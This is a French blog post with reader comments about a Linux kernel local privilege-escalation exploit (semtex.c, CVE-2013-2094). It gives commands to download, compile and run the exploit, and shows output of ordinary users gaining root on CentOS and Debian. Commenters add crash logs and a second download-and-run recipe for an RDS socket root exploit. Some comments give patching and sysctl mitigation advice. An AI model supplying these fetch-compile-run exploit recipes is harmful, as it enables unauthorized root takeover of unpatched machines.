Local Root Exploit pour les noyaux linux 2.6.32 à 3.8.10
Une nouvelle faille 0day vient d'être découverte dans le noyau Linux et elle permet à un simple utilisateur de passer root sur une machine. Cette vulnérabilité affecte les distributions Linux basées sur des versions du kernel comprises entre la 2.6.32 et la à 3.8.8.
Les versions récentes de Red Hat 6.3, Centos 6.3 (même avec SELinux d'activé) et Debian Wheezy 7.0 sont concernées. Le seul moyen de contrer cette attaque est de mettre à jour votre système.
Voici un exemple d'utilisation de l'exploit :
$ wget https://raw.githubusercontent.com/realtalk/cve-2013-2094/master/semtex.c
$ gcc -O2 semtex.c
$ ./a.out
Sur une CentOS 6.3 :
$ cat /etc/redhat-release
CentOS release 6.3 (Final)
$ uname -a
Linux test1.hq.company.com 2.6.32-279.el6.x86_64 #1 SMP Fri Jun 22 12:19:21 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
$ id
uid=503(user) gid=503(user) groups=503(user)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
$ sestatus
SELinux status: enabled
SELinuxfs mount: /selinux
Current mode: enforcing
Mode from config file: enforcing
Policy version: 24
Policy from config file: targeted
$ ./a.out
2.6.37-3.x x86_64
sd@fucksheep.org 2010
-sh-4.1# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Sur une Debian Wheezy 7.0 :
% cat /etc/debian_version
7.0
% uname -a
Linux ops-02 3.2.0-4-amd64 #1 SMP Debian 3.2.41-2 x86_64 GNU/Linux
% id
uid=1000(user) gid=1000(user) groups=1000(user), 24(cdrom), 25(floppy), 27(sudo), 29(audio), 30(dip), 44(video), 46(plugdev), 111(libvirt), 113(fuse), 114(lpadmin)
% ./a.out
2.6.37-3.x x86_64
sd@fucksheep.org 2010
root@ops-02:~# id
uid=0(root) gid=0(root) groups=0(root), 24(cdrom), 25(floppy), 27(sudo), 29(audio), 30(dip), 44(video), 46(plugdev), 111(libvirt), 113(fuse), 114(lpadmin), 1000(user)
34 Commentaires pour "Local Root Exploit pour les noyaux linux 2.6.32 à 3.8.10"
Flux des commentaires de cet article Ajouter un commentaireImpossible à reproduire sous un kernel 3.5...
a.out: semtex.c:51: sheep: Assertion `!close(fd)' failed.
Exploit testé sur mon serveur sous Debian Wheezy.
Du coup, ma question est peut-être bête mais que faut-il faire exactement pour s'en prémunir ?
Car mon système est à jour (aptitude update & aptitude safe-upgrade).
@Robin :
>>que faut-il faire exactement pour s'en prémunir ?
Attendre que les devs Debian proposent un noyau patché. Vu que c'est une faille de sécurité avec un exploit en circulation, tu peux être certain que la correction va arriver très vite sur les dépôts.
@blue112 : Idem :
uname -a
Linux greg-laptop 3.5.0-28-generic #48-Ubuntu SMP Tue Apr 23 23:05:48 UTC 2013 i686 i686 i686 GNU/Linux
J'ai essayé par *curiosité* avec mon archlinux et un noyau 3.9.2, le résultat est sans appel :
./a.out
a.out: semtex.c:51: sheep: Assertion `!close(fd)' failed.
Abandon (core dumped)
[fred@fredo-arch ~]$ uname -a
Linux fredo-arch 3.9.2-1-ARCH #1 SMP PREEMPT Sat May 11 20:31:08 CEST 2013 x86_64 GNU/Linux
Et surtout l'exploit ne fonctionne que si une valeur précise est activée dans les options de compilations du noyau : CONFIG_PERF_EVENTS
@patrick_g
BIen noté.
Du coup, est-ce qu'interdire l'usage des compilateurs aux utilisateurs autres que root est une bonne parade ?
Non.
Marche pas chez moi..
max-p@max-p-arch76 ~ % gcc -O2 semtex.c
max-p@max-p-arch76 ~ % ./a.out
[1] 6849 killed ./a.out
137 max-p@max-p-arch76 ~ % uname -a
Linux max-p-arch76 3.8.7-1-ck #1 SMP PREEMPT Sat Apr 13 22:05:49 EDT 2013 x86_64 GNU/Linux
J'ai probablement pas activé CONFIG_PERF_EVENTS à la compilation.
Y'a jamais aucun exploit qui marche sur mon PC
Bonjour,
Je viens d'essayer sur ma debian 7.0 dernier cri mais ca marche pas.
Peux-être parceque je suis en 32 Bits et l'exploit a l'air d'utiliser le 64bits.
Robin : empêcher l'utilisation des compilateurs par les autres user ne te garantis aucune sécu car il est tout a fait possible de compiler le script sur une autre machine de même architecture pour ensuite l'exécuter sur la machine cible.
@Robin : Tu peux compiler un noyau 3.9.2 https://www.kernel.org/, c'est pas compliqué
Dans l'exemple, il y a une centos avec un kernel 2.6.32 donc ça fonctionne < 2.6.37 ?
Hello Snooze,
Oui je te confirme que cela fonctionne avec le kernel 2.6.32 également
Djerfy
Testé sur un 2.6.32, la version par défaut dans le repository proxmox et ca marche.
$ ./a.out
2.6.37-3.x x86_64
sd@fucksheep.org 2010
# whoami
root
@Snooze @Djerfy @Redcat : yes ça marche avec un kernel en version 2.6.32, je corrige l'article.
Marche pas chez moi
(debian 6 à jour)
$ ./a.out
2.6.37-3.x x86_64
sd@fucksheep.org 2010
Segmentation fault
cwrsync@b1:~/tmp$
Message from syslogd@b1 at May 16 20:02:59 ...
kernel:general protection fault: 0000 [#1] SMP
Message from syslogd@b1 at May 16 20:02:59 ...
kernel:Stack:
Message from syslogd@b1 at May 16 20:02:59 ...
kernel:Call Trace:
Message from syslogd@b1 at May 16 20:02:59 ...
kernel:Code: Bad RIP value.
cwr@b1:~/tmp$ cd /root
-bash: cd: /root: Permission denied
cwr@b1:~/tmp$ id
uid=1000(cwr) gid=1000(cwr) groups=1000(cwr),107(fuse)
@pti-seb Note que cela ne marche en 2.6.32 que si le kernel est a la sauce RHEL, ce qui est le cas de Proxmox. CF : http://pve.proxmox.com/wiki/Proxmox_VE_Kernel
Ce qui est confirmé par le patch puisque centos est marqué comme vulnérable en 2.6.32 et elle est également basée sur RHEL
installation à l'instant du kernel 3.2.41-2 dans les dépots de wheezy sur ma machine passée en wheezy depuis une semaine
Avant mise à jour la faille marchait sans probleme.
Après mise à jour elle ne marche plus
@Redcat : ok
@Dju : bonne nouvelle, même si par le passé, on a vu des patchs arriver avec des temps records. Là, ça fait déjà 48 h que c'est dans la nature.
La version minimale du noyau est la 2.6.37 à priori : http://twitpic.com/cr6j30
@Mr Xhark : ça marche en 2.6.32. Cf les commentaires et mon exemple. J'ai pû le tester personnellement donc l'information est sûr. Par contre, je pense que le 2.6.32 c'est uniquement sur Centos ou des noyaux dérivés de Red Hat.
@pti-seb : je viens de remonter les commentaires que je n'avais pas lus ! Effectivement, you're right! ton permalink m'a mis le doute
J'avais oublié de préciser, mais on peut se prémunir contre cet exploit en changeant une option dans le sysctl :
sysctl kernel.perf_event_paranoid=2
echo " kernel.perf_event_paranoid = 2" >> /etc/sysctl.conf
Cela empêchera par contre d'utiliser certains outils comme iotop en tant qu'user non-root
Quelqu'un a-t'il pu faire fonctionner cet exploit sur une machine virtuelle ?
Tous mes essais sur des VM (VMware fusion) donnent des crashes : Debian 7 (même kernel que sur cette page), CentOS 6.3 (même kernel aussi), Debian 6, ...
Exemple :
user@vmtest:~$ gcc -O2 semtex.c
user@vmtest:~$ uname -a
Linux vmtest 3.2.0-4-amd64 #1 SMP Debian 3.2.41-2 x86_64 GNU/Linux
user@vmtest:~$ ./a.out
2.6.37-3.x x86_64
sd@fucksheep.org 2010
Message from syslogd@vmtest at May 30 19:16:47 ...
kernel:[ 106.060844] double fault: 0000 [#1] SMP
Message from syslogd@vmtest at May 30 19:16:47 ...
kernel:[ 106.116885] Stack:
Message from syslogd@vmtest at May 30 19:16:47 ...
kernel:[ 106.126254] Call Trace:
Message from syslogd@vmtest at May 30 19:16:47 ...
kernel:[ 106.127400] Code: 5b 5d 41 5c 41 5d c3 41 57 89 f0 83 e0 02 41 56 41 55 41 54 49 89 f4 55 53 48 89 fb 48 81 ec c8 00 00 00 83 f8 01 19 c0 83 c0 29 44 24 04 65 4c 8b 3c 25 00 c7 00 00 49 8b 87 a8 01 00 00 48
Erreur de segmentation
user@vmtest:~$
Message from syslogd@vmtest at May 30 19:17:01 ...
kernel:[ 120.039701] Oops: 0002 [#2] SMP
Message from syslogd@vmtest at May 30 19:17:01 ...
kernel:[ 120.077850] Stack:
Message from syslogd@vmtest at May 30 19:17:01 ...
kernel:[ 120.084833] Call Trace:
Message from syslogd@vmtest at May 30 19:17:01 ...
kernel:[ 120.090085] Code: 48 89 df e8 d2 4e d1 ff 85 c0 75 0d 65 48 8b 14 25 00 c7 00 00 48 89 53 18 5b c3 53 48 89 fb 48 83 ec 10 e8 18 f8 ff ff 48 89 df ff 0f 79 05 e8 ba 01 00 00 65 48 8b 04 25 00 c7 00 00 48 89
Message from syslogd@vmtest at May 30 19:17:01 ...
kernel:[ 120.104429] CR2: 000003e800000428
user@vmtest:~$ class="yarr">
Répondre
@Romain : aucun souci dans VirtualBox
@Mr Xhark : merci, ça marche en effet niquel sur VirtualBox (Mac).
Mais rien ne fonctionne sur VMware fusion.
Sur Reddit, les gars évoquent un "shared kernel" par certains hôtes de VM. D'ailleurs, l'exploit peut à priori faire aussi crasher l'hôte... C'est bon à savoir.
@Romain : je tenterai sur un esxi si j'ai encore un hôte vulnérable qui traine... enfin je vais épargner la prod quand même
@Frederic Bezies :
meme chose sous Mandriva 2010.2 avec noyau 2.6.36.2
Sur Openvz, même avec un kernel vulnérable, l'exploit ne marche pas. Il n'y a pas d'accès aux perf events, donc aucun risque.
Sinon aucun soucis ça fonctionne sur des VM tournant sur ESX 4.1, 5.0 et 5.1. Pas testé sur Fusion.
Et puis bon je sais qu'on est pas 'dredi le jour du troll, mais de toute facon de la prod sur un Mac... hein... bon...
J'avais qu'un Mac sous la main pour faire le test un soir chez moi.
Depuis, j'ai aussi testé avec succès sur tous les ESX.
J'étais juste curieux de savoir pourquoi ça ne fonctionne sur aucune VM Fusion (crash quand même).
Bonjour,
J'ai le même souci que certains d'entre vous à savoir, l'erreur suivante :
text-exploit: semtex.c:51: sheep: Assertion `!close(fd)' failed
J'ai une VM sur ESxi 5.1 sous Wheezy.
Auriez-vous une idée ?
MErci
Cdlt,
J'ai réglé mon souci en faisant comme suit :
mkdir test
cd test
wget http://www.tux-planet.fr/public/hack/exploits/kernel/linux-rds-exploit.c
gcc -o rds ./linux-rds-exploit.c
./rds
Vous devriez recevoir comme message :
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Your kernel is not vulnerable.
ou encore
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Could not open socket.
Si vous obtenez quelque chose comme :
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xf7d2e518
[+] Resolved rds_ioctl to 0xf7d29000
[+] Resolved commit_creds to 0xc0450a6f
[+] Resolved prepare_kernel_cred to 0xc045097a
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
[*] Got root!
Vous êtes vulnérable.
Fonctionne pas sous Debian 6 avec un kernel Proxmox-ve 2.6.32-16-pve
I am looking for linux redhat 3.8 software
I tried to look for it online but it doesn't exist. is any one have an idea how to get it?
Merci de m’avoir montré ces préventions. J’ai appris à manipuler les noyaux de linux et ces listes de commande me permettront peut être de contrer cette attaque. Merci pour le partage.